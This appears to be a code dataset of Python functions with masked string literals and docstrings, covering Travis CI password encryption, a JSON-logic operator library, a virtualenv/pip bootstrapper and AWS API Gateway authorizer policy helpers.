{"signature": "def load_key(pubkey):", "body": "try:<EOL><INDENT>return load_pem_public_key(pubkey.encode(), default_backend())<EOL><DEDENT>except ValueError:<EOL><INDENT>pubkey = pubkey.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>return load_pem_public_key(pubkey.encode(), default_backend())<EOL><DEDENT>", "docstring": "Load public RSA key, with work-around for keys using\n    incorrect header/footer format.\n\n    Read more about RSA encryption with cryptography:\n    https://cryptography.io/latest/hazmat/primitives/asymmetric/rsa/", "id": "f5510:m0"}
{"signature": "def encrypt(pubkey, password):", "body": "key = load_key(pubkey)<EOL>encrypted_password = key.encrypt(password, PKCS1v15())<EOL>return base64.b64encode(encrypted_password)<EOL>", "docstring": "Encrypt password using given RSA public key and encode it with base64.\n\n    The encrypted password can only be decrypted by someone with the\n    private key (in this case, only Travis).", "id": "f5510:m1"}
{"signature": "def fetch_public_key(repo):", "body": "keyurl = '<STR_LIT>'.format(repo)<EOL>data = json.loads(urlopen(keyurl).read())<EOL>if '<STR_LIT:key>' not in data:<EOL><INDENT>errmsg = \"<STR_LIT>\".format(repo)<EOL>errmsg += \"<STR_LIT>\"<EOL>raise ValueError(errmsg)<EOL><DEDENT>return data['<STR_LIT:key>']<EOL>", "docstring": "Download RSA public key Travis will use for this repo.\n\n    Travis API docs: http://docs.travis-ci.com/api/#repository-keys", "id": "f5510:m2"}
{"signature": "def prepend_line(filepath, line):", "body": "with open(filepath) as f:<EOL><INDENT>lines = f.readlines()<EOL><DEDENT>lines.insert(<NUM_LIT:0>, line)<EOL>with open(filepath, '<STR_LIT:w>') as f:<EOL><INDENT>f.writelines(lines)<EOL><DEDENT>", "docstring": "Rewrite a file adding a line to its beginning.", "id": "f5510:m3"}
{"signature": "def update_travis_deploy_password(encrypted_password):", "body": "config = load_yaml_config(TRAVIS_CONFIG_FILE)<EOL>config['<STR_LIT>']['<STR_LIT:password>'] = dict(secure=encrypted_password)<EOL>save_yaml_config(TRAVIS_CONFIG_FILE, config)<EOL>line = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>prepend_line(TRAVIS_CONFIG_FILE, line)<EOL>", "docstring": "Update the deploy section of the .travis.yml file\n    to use the given encrypted password.", "id": "f5510:m6"}
{"signature": "def copy_attributes(source, destination, ignore_patterns=[]):", "body": "for attr in _wildcard_filter(dir(source), *ignore_patterns):<EOL><INDENT>setattr(destination, attr, getattr(source, attr))<EOL><DEDENT>", "docstring": "Copy the attributes from a source object to a destination object.", "id": "f5512:m1"}
{"signature": "def if_(*args):", "body": "for i in range(<NUM_LIT:0>, len(args) - <NUM_LIT:1>, <NUM_LIT:2>):<EOL><INDENT>if args[i]:<EOL><INDENT>return args[i + <NUM_LIT:1>]<EOL><DEDENT><DEDENT>if len(args) % <NUM_LIT:2>:<EOL><INDENT>return args[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Implements the 'if' operator with support for multiple elseif-s.", "id": "f5516:m0"}
{"signature": "def soft_equals(a, b):", "body": "if isinstance(a, str) or isinstance(b, str):<EOL><INDENT>return str(a) == str(b)<EOL><DEDENT>if isinstance(a, bool) or isinstance(b, bool):<EOL><INDENT>return bool(a) is bool(b)<EOL><DEDENT>return a == b<EOL>", "docstring": "Implements the '==' operator, which does type JS-style coertion.", "id": "f5516:m1"}
{"signature": "def hard_equals(a, b):", "body": "if type(a) != type(b):<EOL><INDENT>return False<EOL><DEDENT>return a == b<EOL>", "docstring": "Implements the '===' operator.", "id": "f5516:m2"}
{"signature": "def less(a, b, *args):", "body": "types = set([type(a), type(b)])<EOL>if float in types or int in types:<EOL><INDENT>try:<EOL><INDENT>a, b = float(a), float(b)<EOL><DEDENT>except TypeError:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return a < b and (not args or less(b, *args))<EOL>", "docstring": "Implements the '<' operator with JS-style type coertion.", "id": "f5516:m3"}
{"signature": "def less_or_equal(a, b, *args):", "body": "return (<EOL>less(a, b) or soft_equals(a, b)<EOL>) and (not args or less_or_equal(b, *args))<EOL>", "docstring": "Implements the '<=' operator with JS-style type coertion.", "id": "f5516:m4"}
{"signature": "def to_numeric(arg):", "body": "if isinstance(arg, str):<EOL><INDENT>if '<STR_LIT:.>' in arg:<EOL><INDENT>return float(arg)<EOL><DEDENT>else:<EOL><INDENT>return int(arg)<EOL><DEDENT><DEDENT>return arg<EOL>", "docstring": "Converts a string either to int or to float.\nThis is important, because e.g. {\"!==\": [{\"+\": \"0\"}, 0.0]}", "id": "f5516:m5"}
{"signature": "def plus(*args):", "body": "return sum(to_numeric(arg) for arg in args)<EOL>", "docstring": "Sum converts either to ints or to floats.", "id": "f5516:m6"}
{"signature": "def minus(*args):", "body": "if len(args) == <NUM_LIT:1>:<EOL><INDENT>return -to_numeric(args[<NUM_LIT:0>])<EOL><DEDENT>return to_numeric(args[<NUM_LIT:0>]) - to_numeric(args[<NUM_LIT:1>])<EOL>", "docstring": "Also, converts either to ints or to floats.", "id": "f5516:m7"}
{"signature": "def merge(*args):", "body": "ret = []<EOL>for arg in args:<EOL><INDENT>if isinstance(arg, list) or isinstance(arg, tuple):<EOL><INDENT>ret += list(arg)<EOL><DEDENT>else:<EOL><INDENT>ret.append(arg)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Implements the 'merge' operator for merging lists.", "id": "f5516:m8"}
{"signature": "def get_var(data, var_name, not_found=None):", "body": "try:<EOL><INDENT>for key in str(var_name).split('<STR_LIT:.>'):<EOL><INDENT>try:<EOL><INDENT>data = data[key]<EOL><DEDENT>except TypeError:<EOL><INDENT>data = data[int(key)]<EOL><DEDENT><DEDENT><DEDENT>except (KeyError, TypeError, ValueError):<EOL><INDENT>return not_found<EOL><DEDENT>else:<EOL><INDENT>return data<EOL><DEDENT>", "docstring": "Gets variable value from data dictionary.", "id": "f5516:m9"}
{"signature": "def missing(data, *args):", "body": "not_found = object()<EOL>if args and isinstance(args[<NUM_LIT:0>], list):<EOL><INDENT>args = args[<NUM_LIT:0>]<EOL><DEDENT>ret = []<EOL>for arg in args:<EOL><INDENT>if get_var(data, arg, not_found) is not_found:<EOL><INDENT>ret.append(arg)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Implements the missing operator for finding missing variables.", "id": "f5516:m10"}
{"signature": "def missing_some(data, min_required, args):", "body": "if min_required < <NUM_LIT:1>:<EOL><INDENT>return []<EOL><DEDENT>found = <NUM_LIT:0><EOL>not_found = object()<EOL>ret = []<EOL>for arg in args:<EOL><INDENT>if get_var(data, arg, not_found) is not_found:<EOL><INDENT>ret.append(arg)<EOL><DEDENT>else:<EOL><INDENT>found += <NUM_LIT:1><EOL>if found >= min_required:<EOL><INDENT>return []<EOL><DEDENT><DEDENT><DEDENT>return ret<EOL>", "docstring": "Implements the missing_some operator for finding missing variables.", "id": "f5516:m11"}
{"signature": "def check_pre_requirements(pre_requirements):", "body": "pre_requirements = set(pre_requirements or [])<EOL>pre_requirements.add('<STR_LIT>')<EOL>for requirement in pre_requirements:<EOL><INDENT>if not which(requirement):<EOL><INDENT>print_error('<STR_LIT>'.<EOL>format(requirement))<EOL>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Check all necessary system requirements to exist.\n\n    :param pre_requirements:\n        Sequence of pre-requirements to check by running\n        ``where <pre_requirement>`` on Windows and ``which ...`` elsewhere.", "id": "f5521:m0"}
{"signature": "def config_to_args(config):", "body": "result = []<EOL>for key, value in iteritems(config):<EOL><INDENT>if value is False:<EOL><INDENT>continue<EOL><DEDENT>key = '<STR_LIT>'.format(key.replace('<STR_LIT:_>', '<STR_LIT:->'))<EOL>if isinstance(value, (list, set, tuple)):<EOL><INDENT>for item in value:<EOL><INDENT>result.extend((key, smart_str(item)))<EOL><DEDENT><DEDENT>elif value is not True:<EOL><INDENT>result.extend((key, smart_str(value)))<EOL><DEDENT>else:<EOL><INDENT>result.append(key)<EOL><DEDENT><DEDENT>return tuple(result)<EOL>", "docstring": "Convert config dict to arguments list.\n\n    :param config: Configuration dict.", "id": "f5521:m1"}
{"signature": "def create_env(env, args, recreate=False, ignore_activated=False, quiet=False):", "body": "cmd = None<EOL>result = True<EOL>inside_env = hasattr(sys, '<STR_LIT>') or os.environ.get('<STR_LIT>')<EOL>env_exists = os.path.isdir(env)<EOL>if not quiet:<EOL><INDENT>print_message('<STR_LIT>')<EOL><DEDENT>if (<EOL>recreate or (not inside_env and not env_exists)<EOL>) or (<EOL>ignore_activated and not env_exists<EOL>):<EOL><INDENT>cmd = ('<STR_LIT>', ) + args + (env, )<EOL><DEDENT>if not cmd and not quiet:<EOL><INDENT>if inside_env:<EOL><INDENT>message = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>message = '<STR_LIT>'<EOL><DEDENT>print_message(message.format(env))<EOL><DEDENT>if cmd:<EOL><INDENT>with disable_error_handler():<EOL><INDENT>result = not run_cmd(cmd, echo=not quiet)<EOL><DEDENT><DEDENT>if not quiet:<EOL><INDENT>print_message()<EOL><DEDENT>return result<EOL>", "docstring": "Create virtual environment.\n\n    :param env: Virtual environment name.\n    :param args: Pass given arguments to ``virtualenv`` script.\n    :param recerate: Recreate virtual environment? By default: False\n    :param ignore_activated:\n        Ignore already activated virtual environment and create new one. By\n        default: False\n    :param quiet: Do not output messages into terminal. By default: False", "id": "f5521:m2"}
{"signature": "@contextmanager<EOL>def disable_error_handler():", "body": "global ERROR_HANDLER_DISABLED<EOL>ERROR_HANDLER_DISABLED = True<EOL>yield<EOL>ERROR_HANDLER_DISABLED = False<EOL>", "docstring": "Context manager to temporary disable error handling.", "id": "f5521:m3"}
{"signature": "def error_handler(func):", "body": "@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>try:<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>except BaseException as err:<EOL><INDENT>if BOOTSTRAPPER_TEST_KEY in os.environ:<EOL><INDENT>raise<EOL><DEDENT>if ERROR_HANDLER_DISABLED:<EOL><INDENT>return True<EOL><DEDENT>return save_traceback(err)<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator to error handling.", "id": "f5521:m4"}
{"signature": "def get_temp_streams():", "body": "kwargs = {'<STR_LIT>': '<STR_LIT:utf-8>'} if IS_PY3 else {}<EOL>return (tempfile.TemporaryFile('<STR_LIT>', **kwargs),<EOL>tempfile.TemporaryFile('<STR_LIT>', **kwargs))<EOL>", "docstring": "Return two temporary file handlers for STDOUT and STDERR.", "id": "f5521:m5"}
{"signature": "def install(env, requirements, args, ignore_activated=False,<EOL>install_dev_requirements=False, quiet=False):", "body": "if os.path.isfile(requirements):<EOL><INDENT>args += ('<STR_LIT>', requirements)<EOL>label = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>args += ('<STR_LIT>', '<STR_LIT>', '<STR_LIT:.>')<EOL>label = '<STR_LIT>'<EOL><DEDENT>if install_dev_requirements:<EOL><INDENT>dev_requirements = None<EOL>dirname = os.path.dirname(requirements)<EOL>basename, ext = os.path.splitext(os.path.basename(requirements))<EOL>for delimiter in ('<STR_LIT:->', '<STR_LIT:_>', '<STR_LIT>'):<EOL><INDENT>filename = os.path.join(<EOL>dirname, '<STR_LIT>'.join((basename, delimiter, '<STR_LIT>', ext))<EOL>)<EOL>if os.path.isfile(filename):<EOL><INDENT>dev_requirements = filename<EOL>break<EOL><DEDENT>filename = os.path.join(<EOL>dirname, '<STR_LIT>'.join(('<STR_LIT>', delimiter, basename, ext))<EOL>)<EOL>if os.path.isfile(filename):<EOL><INDENT>dev_requirements = filename<EOL>break<EOL><DEDENT><DEDENT>if dev_requirements:<EOL><INDENT>args += ('<STR_LIT>', dev_requirements)<EOL><DEDENT><DEDENT>if not quiet:<EOL><INDENT>print_message('<STR_LIT>'.format(label))<EOL><DEDENT>result = not pip_cmd(env,<EOL>('<STR_LIT>', ) + args,<EOL>ignore_activated,<EOL>echo=not quiet)<EOL>if not quiet:<EOL><INDENT>print_message()<EOL><DEDENT>return result<EOL>", "docstring": "Install library or project into virtual environment.\n\n    :param env: Use given virtual environment name.\n    :param requirements: Use given requirements file for pip.\n    :param args: Pass given arguments to pip script.\n    :param ignore_activated:\n        Do not run pip inside already activated virtual environment. By\n        default: False\n    :param install_dev_requirements:\n        When enabled install prefixed or suffixed dev requirements after\n        original installation process completed. By default: False\n    :param quiet: Do not output message to terminal. By default: False", "id": "f5521:m6"}
{"signature": "def iteritems(data, **kwargs):", "body": "return iter(data.items(**kwargs)) if IS_PY3 else data.iteritems(**kwargs)<EOL>", "docstring": "Iterate over dict items.", "id": "f5521:m7"}
{"signature": "def iterkeys(data, **kwargs):", "body": "return iter(data.keys(**kwargs)) if IS_PY3 else data.iterkeys(**kwargs)<EOL>", "docstring": "Iterate over dict keys.", "id": "f5521:m8"}
{"signature": "@error_handler<EOL>def main(*args):", "body": "<EOL>with disable_error_handler():<EOL><INDENT>args = parse_args(args or sys.argv[<NUM_LIT:1>:])<EOL><DEDENT>config = read_config(args.config, args)<EOL>if config is None:<EOL><INDENT>return True<EOL><DEDENT>bootstrap = config[__script__]<EOL>if not check_pre_requirements(bootstrap['<STR_LIT>']):<EOL><INDENT>return True<EOL><DEDENT>env_args = prepare_args(config['<STR_LIT>'], bootstrap)<EOL>if not create_env(<EOL>bootstrap['<STR_LIT>'],<EOL>env_args,<EOL>bootstrap['<STR_LIT>'],<EOL>bootstrap['<STR_LIT>'],<EOL>bootstrap['<STR_LIT>']<EOL>):<EOL><INDENT>return True<EOL><DEDENT>pip_args = prepare_args(config['<STR_LIT>'], bootstrap)<EOL>if not install(<EOL>bootstrap['<STR_LIT>'],<EOL>bootstrap['<STR_LIT>'],<EOL>pip_args,<EOL>bootstrap['<STR_LIT>'],<EOL>bootstrap['<STR_LIT>'],<EOL>bootstrap['<STR_LIT>']<EOL>):<EOL><INDENT>return True<EOL><DEDENT>run_hook(bootstrap['<STR_LIT>'], bootstrap, bootstrap['<STR_LIT>'])<EOL>if not bootstrap['<STR_LIT>']:<EOL><INDENT>print_message('<STR_LIT>')<EOL><DEDENT>return False<EOL>", "docstring": "r\"\"\"Bootstrap Python projects and libraries with virtualenv and pip.\n\n    Also check system requirements before bootstrap and run post bootstrap\n    hook if any.\n\n    :param \\*args: Command line arguments list.", "id": "f5521:m9"}
{"signature": "def parse_args(args):", "body": "from argparse import ArgumentParser<EOL>description = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>parser = ArgumentParser(description=description)<EOL>parser.add_argument('<STR_LIT>', action='<STR_LIT:version>', version=__version__)<EOL>parser.add_argument(<EOL>'<STR_LIT:-c>', '<STR_LIT>', default=DEFAULT_CONFIG,<EOL>help='<STR_LIT>'.format(DEFAULT_CONFIG)<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', default=[], nargs='<STR_LIT:+>',<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>'.<EOL>format(CONFIG[__script__]['<STR_LIT>'])<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>'.<EOL>format(CONFIG[__script__]['<STR_LIT>'])<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>', default=None,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', action='<STR_LIT:store_true>', default=None,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', action='<STR_LIT:store_true>', default=None,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>', default=None,<EOL>help='<STR_LIT>'<EOL>)<EOL>return parser.parse_args(args)<EOL>", "docstring": "Parse args from command line by creating argument parser instance and\nprocess it.\n\n:param args: Command line arguments list.", "id": "f5521:m10"}
{"signature": "def pip_cmd(env, cmd, ignore_activated=False, **kwargs):", "body": "cmd = tuple(cmd)<EOL>dirname = safe_path(env)<EOL>if not ignore_activated:<EOL><INDENT>activated_env = os.environ.get('<STR_LIT>')<EOL>if hasattr(sys, '<STR_LIT>'):<EOL><INDENT>dirname = sys.prefix<EOL><DEDENT>elif activated_env:<EOL><INDENT>dirname = activated_env<EOL><DEDENT><DEDENT>pip_path = os.path.join(dirname, '<STR_LIT>' if IS_WINDOWS else '<STR_LIT>', '<STR_LIT>')<EOL>if kwargs.pop('<STR_LIT>', False):<EOL><INDENT>return pip_path<EOL><DEDENT>if not os.path.isfile(pip_path):<EOL><INDENT>raise OSError('<STR_LIT>'.format(pip_path))<EOL><DEDENT>if BOOTSTRAPPER_TEST_KEY in os.environ and cmd[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>cmd = list(cmd)<EOL>cmd.insert(<NUM_LIT:1>, '<STR_LIT>')<EOL>cmd = tuple(cmd)<EOL><DEDENT>with disable_error_handler():<EOL><INDENT>return run_cmd((pip_path, ) + cmd, **kwargs)<EOL><DEDENT>", "docstring": "r\"\"\"Run pip command in given or activated virtual environment.\n\n    :param env: Virtual environment name.\n    :param cmd: Pip subcommand to run.\n    :param ignore_activated:\n        Ignore activated virtual environment and use given venv instead. By\n        default: False\n    :param \\*\\*kwargs:\n        Additional keyword arguments to be passed to :func:`~run_cmd`", "id": "f5521:m11"}
{"signature": "def prepare_args(config, bootstrap):", "body": "config = copy.deepcopy(config)<EOL>environ = dict(copy.deepcopy(os.environ))<EOL>data = {'<STR_LIT>': bootstrap['<STR_LIT>'],<EOL>'<STR_LIT>': pip_cmd(bootstrap['<STR_LIT>'], '<STR_LIT>', return_path=True),<EOL>'<STR_LIT>': bootstrap['<STR_LIT>']}<EOL>environ.update(data)<EOL>if isinstance(config, string_types):<EOL><INDENT>return config.format(**environ)<EOL><DEDENT>for key, value in iteritems(config):<EOL><INDENT>if not isinstance(value, string_types):<EOL><INDENT>continue<EOL><DEDENT>config[key] = value.format(**environ)<EOL><DEDENT>return config_to_args(config)<EOL>", "docstring": "Convert config dict to command line args line.\n\n    :param config: Configuration dict.\n    :param bootstrap: Bootstrapper configuration dict.", "id": "f5521:m12"}
{"signature": "def print_error(message, wrap=True):", "body": "if wrap:<EOL><INDENT>message = '<STR_LIT>'.format(message.rstrip('<STR_LIT:.>'))<EOL><DEDENT>colorizer = (_color_wrap(colorama.Fore.RED)<EOL>if colorama<EOL>else lambda message: message)<EOL>return print(colorizer(message), file=sys.stderr)<EOL>", "docstring": "Print error message to stderr, using ANSI-colors.\n\n    :param message: Message to print\n    :param wrap:\n        Wrap message into ``ERROR: <message>. Exit...`` template. By default:\n        True", "id": "f5521:m13"}
{"signature": "def print_message(message=None):", "body": "kwargs = {'<STR_LIT>': sys.stdout,<EOL>'<STR_LIT>': sys.stderr,<EOL>'<STR_LIT>': True}<EOL>return subprocess.call('<STR_LIT>'.format(message or '<STR_LIT>'), **kwargs)<EOL>", "docstring": "Print message via ``subprocess.call`` function.\n\n    This helps to ensure consistent output and avoid situations where print\n    messages actually shown after messages from all inner threads.\n\n    :param message: Text message to print.", "id": "f5521:m14"}
{"signature": "def read_config(filename, args):", "body": "<EOL>config = defaultdict(dict)<EOL>splitter = operator.methodcaller('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>converters = {<EOL>__script__: {<EOL>'<STR_LIT>': safe_path,<EOL>'<STR_LIT>': splitter,<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': splitter,<EOL>'<STR_LIT>': splitter,<EOL>}<EOL>}<EOL>default = copy.deepcopy(CONFIG)<EOL>sections = set(iterkeys(default))<EOL>if int(getattr(pip, '<STR_LIT>', '<STR_LIT>').split('<STR_LIT:.>')[<NUM_LIT:0>]) < <NUM_LIT:6>:<EOL><INDENT>default['<STR_LIT>']['<STR_LIT>'] = safe_path(os.path.expanduser(<EOL>os.path.join('<STR_LIT>', '<STR_LIT>'.format(__script__), '<STR_LIT>')<EOL>))<EOL><DEDENT>is_default = filename == DEFAULT_CONFIG<EOL>filename = os.path.expandvars(os.path.expanduser(filename))<EOL>if not is_default and not os.path.isfile(filename):<EOL><INDENT>print_error('<STR_LIT>'.format(filename))<EOL>return None<EOL><DEDENT>parser = ConfigParser()<EOL>try:<EOL><INDENT>parser.read(filename)<EOL><DEDENT>except ConfigParserError:<EOL><INDENT>print_error('<STR_LIT>'.format(filename))<EOL>return None<EOL><DEDENT>for section in sections:<EOL><INDENT>if not parser.has_section(section):<EOL><INDENT>continue<EOL><DEDENT>items = parser.items(section)<EOL>for key, value in items:<EOL><INDENT>try:<EOL><INDENT>value = int(value)<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>try:<EOL><INDENT>value = bool(strtobool(value))<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if section in converters and key in converters[section]:<EOL><INDENT>value = converters[section][key](value)<EOL><DEDENT>config[section][key] = value<EOL><DEDENT><DEDENT>for section, data in iteritems(default):<EOL><INDENT>if section not in config:<EOL><INDENT>config[section] = data<EOL><DEDENT>else:<EOL><INDENT>for key, value in iteritems(data):<EOL><INDENT>config[section].setdefault(key, value)<EOL><DEDENT><DEDENT><DEDENT>keys = set((<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'<EOL>))<EOL>for key in keys:<EOL><INDENT>value = getattr(args, key)<EOL>config[__script__].setdefault(key, value)<EOL>if key == '<STR_LIT>' and not value:<EOL><INDENT>continue<EOL><DEDENT>if value is not None:<EOL><INDENT>config[__script__][key] = value<EOL><DEDENT><DEDENT>return config<EOL>", "docstring": "Read and parse configuration file. By default, ``filename`` is relative\npath to current work directory.\n\nIf no config file found, default ``CONFIG`` would be used.\n\n:param filename: Read config from given filename.\n:param args: Parsed command line arguments.", "id": "f5521:m15"}
{"signature": "def run_cmd(cmd, echo=False, fail_silently=False, **kwargs):", "body": "out, err = None, None<EOL>if echo:<EOL><INDENT>cmd_str = cmd if isinstance(cmd, string_types) else '<STR_LIT:U+0020>'.join(cmd)<EOL>kwargs['<STR_LIT>'], kwargs['<STR_LIT>'] = sys.stdout, sys.stderr<EOL>print_message('<STR_LIT>'.format(cmd_str))<EOL><DEDENT>else:<EOL><INDENT>out, err = get_temp_streams()<EOL>kwargs['<STR_LIT>'], kwargs['<STR_LIT>'] = out, err<EOL><DEDENT>try:<EOL><INDENT>retcode = subprocess.call(cmd, **kwargs)<EOL><DEDENT>except subprocess.CalledProcessError as err:<EOL><INDENT>if fail_silently:<EOL><INDENT>return False<EOL><DEDENT>print_error(str(err) if IS_PY3 else unicode(err))  <EOL><DEDENT>finally:<EOL><INDENT>if out:<EOL><INDENT>out.close()<EOL><DEDENT>if err:<EOL><INDENT>err.close()<EOL><DEDENT><DEDENT>if retcode and echo and not fail_silently:<EOL><INDENT>print_error('<STR_LIT>'.<EOL>format(cmd_str, retcode))<EOL><DEDENT>return retcode<EOL>", "docstring": "r\"\"\"Call given command with ``subprocess.call`` function.\n\n    :param cmd: Command to run.\n    :type cmd: tuple or str\n    :param echo:\n        If enabled show command to call and its output in STDOUT, otherwise\n        hide all output. By default: False\n    :param fail_silently: Do not raise exception on error. By default: False\n    :param \\*\\*kwargs:\n        Additional keyword arguments to be passed to ``subprocess.call``\n        function. STDOUT and STDERR streams would be setup inside of function\n        to ensure hiding command output in case of disabling ``echo``.", "id": "f5521:m16"}
{"signature": "def run_hook(hook, config, quiet=False):", "body": "if not hook:<EOL><INDENT>return True<EOL><DEDENT>if not quiet:<EOL><INDENT>print_message('<STR_LIT>')<EOL><DEDENT>result = not run_cmd(prepare_args(hook, config),<EOL>echo=not quiet,<EOL>fail_silently=True,<EOL>shell=True)<EOL>if not quiet:<EOL><INDENT>print_message()<EOL><DEDENT>return result<EOL>", "docstring": "Run post-bootstrap hook if any.\n\n    :param hook: Hook to run.\n    :param config: Configuration dict.\n    :param quiet: Do not output messages to STDOUT/STDERR. By default: False", "id": "f5521:m17"}
{"signature": "def safe_path(path):", "body": "return path.replace('<STR_LIT:/>', os.sep) if IS_WINDOWS else path<EOL>", "docstring": "Replace slashes for Windows pathes.\n\n    :param path: OS-independent path value.", "id": "f5521:m18"}
{"signature": "def save_traceback(err):", "body": "<EOL>dirname = safe_path(os.path.expanduser(<EOL>os.path.join('<STR_LIT>', '<STR_LIT>'.format(__script__))<EOL>))<EOL>if not os.path.isdir(dirname):<EOL><INDENT>os.mkdir(dirname)<EOL><DEDENT>filename = os.path.join(dirname, '<STR_LIT>'.format(__script__))<EOL>with open(filename, '<STR_LIT>') as handler:<EOL><INDENT>traceback.print_exc(file=handler)<EOL><DEDENT>message = ('<STR_LIT>'<EOL>if isinstance(err, KeyboardInterrupt)<EOL>else '<STR_LIT>')<EOL>print_error(message)<EOL>print_error('<STR_LIT>'.format(filename), False)<EOL>return True<EOL>", "docstring": "Save error traceback to bootstrapper log file.\n\n    :param err: Catched exception.", "id": "f5521:m19"}
{"signature": "def smart_str(value, encoding='<STR_LIT:utf-8>', errors='<STR_LIT:strict>'):", "body": "if not IS_PY3 and isinstance(value, unicode):  <EOL><INDENT>return value.encode(encoding, errors)<EOL><DEDENT>return str(value)<EOL>", "docstring": "Convert Python object to string.\n\n    :param value: Python object to convert.\n    :param encoding: Encoding to use if in Python 2 given object is unicode.\n    :param errors: Errors mode to use if in Python 2 given object is unicode.", "id": "f5521:m20"}
{"signature": "def which(executable):", "body": "cmd = '<STR_LIT>' if IS_WINDOWS else '<STR_LIT>'<EOL>return not run_cmd((cmd, executable), fail_silently=True)<EOL>", "docstring": "Shortcut to check whether executable available in current env or not.\n\n    :param executable: Executable to check.", "id": "f5521:m21"}
{"signature": "def deref(self, data):", "body": "<EOL>deref = copy.deepcopy(jsonref.JsonRef.replace_refs(data))<EOL>self.write_template(deref, filename='<STR_LIT>')<EOL>return deref<EOL>", "docstring": "AWS doesn't quite have Swagger 2.0 validation right and will fail\n        on some refs. So, we need to convert to deref before\n        upload.", "id": "f5525:c0:m17"}
{"signature": "def __init__(self, runtime, project_path, wheelhouse_path, lambda_path,<EOL>install_dir, service_name, extra_packages=None,<EOL>build_openssl=False, build_libffi=False, build_libxml=False):", "body": "self.runtime = runtime<EOL>self.project_path = project_path<EOL>self.wheelhouse_path = wheelhouse_path<EOL>self.lambda_path = lambda_path<EOL>self.install_dir = install_dir<EOL>self.service_name = service_name<EOL>self.extra_packages = extra_packages or []<EOL>self.build_openssl = build_openssl<EOL>self.build_libffi = build_libffi<EOL>self.build_libxml = build_libxml<EOL>", "docstring": "Initialize dependency builder object.\n\n        :param runtime: Lambda Python runtime version.\n        :param project_path: Full path to the project root, where `yoke.yml`\n        exists.\n        :param wheelhouse_path: Full path to the directory that will hold\n        the build depdendencies (wheels).\n        :param lambda_path: Full path to the directory where the Lambda\n        function's code lives.\n        :param install_dir: Relative path within the project root where the\n        dependencies will be installed.\n        :param service_name: Name of the service, used for creating some\n        sub-directories and files.\n        :param extra_packages: List of extra CentOS packages that should be\n        installed before the dependencies are built.", "id": "f5528:c0:m0"}
{"signature": "def _add_method(self, effect, verb, resource, conditions):", "body": "if verb != '<STR_LIT:*>' and not hasattr(HttpVerb, verb):<EOL><INDENT>raise NameError('<STR_LIT>' + verb +<EOL>'<STR_LIT>')<EOL><DEDENT>resource_pattern = re.compile(self.path_regex)<EOL>if not resource_pattern.match(resource):<EOL><INDENT>raise NameError('<STR_LIT>' + resource +<EOL>'<STR_LIT>' + self.path_regex)<EOL><DEDENT>if resource[:<NUM_LIT:1>] == '<STR_LIT:/>':<EOL><INDENT>resource = resource[<NUM_LIT:1>:]<EOL><DEDENT>resource_arn = ('<STR_LIT>' +<EOL>self.region + '<STR_LIT::>' +<EOL>self.aws_account_id + '<STR_LIT::>' +<EOL>self.rest_api_id + '<STR_LIT:/>' +<EOL>self.stage + '<STR_LIT:/>' +<EOL>verb + '<STR_LIT:/>' +<EOL>resource)<EOL>if effect.lower() == '<STR_LIT>':<EOL><INDENT>self.allowMethods.append({<EOL>'<STR_LIT>': resource_arn,<EOL>'<STR_LIT>': conditions<EOL>})<EOL><DEDENT>elif effect.lower() == '<STR_LIT>':<EOL><INDENT>self.denyMethods.append({<EOL>'<STR_LIT>': resource_arn,<EOL>'<STR_LIT>': conditions<EOL>})<EOL><DEDENT>", "docstring": "Adds a method to the internal lists of allowed or denied methods.\nEach object in the internal list contains a resource ARN and a\ncondition statement. The condition statement can be null.", "id": "f5530:c1:m1"}
{"signature": "def _get_empty_statement(self, effect):", "body": "statement = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': effect[:<NUM_LIT:1>].upper() + effect[<NUM_LIT:1>:].lower(),<EOL>'<STR_LIT>': []<EOL>}<EOL>return statement<EOL>", "docstring": "Returns an empty statement object prepopulated with the\ncorrect action and the desired effect.", "id": "f5530:c1:m2"}
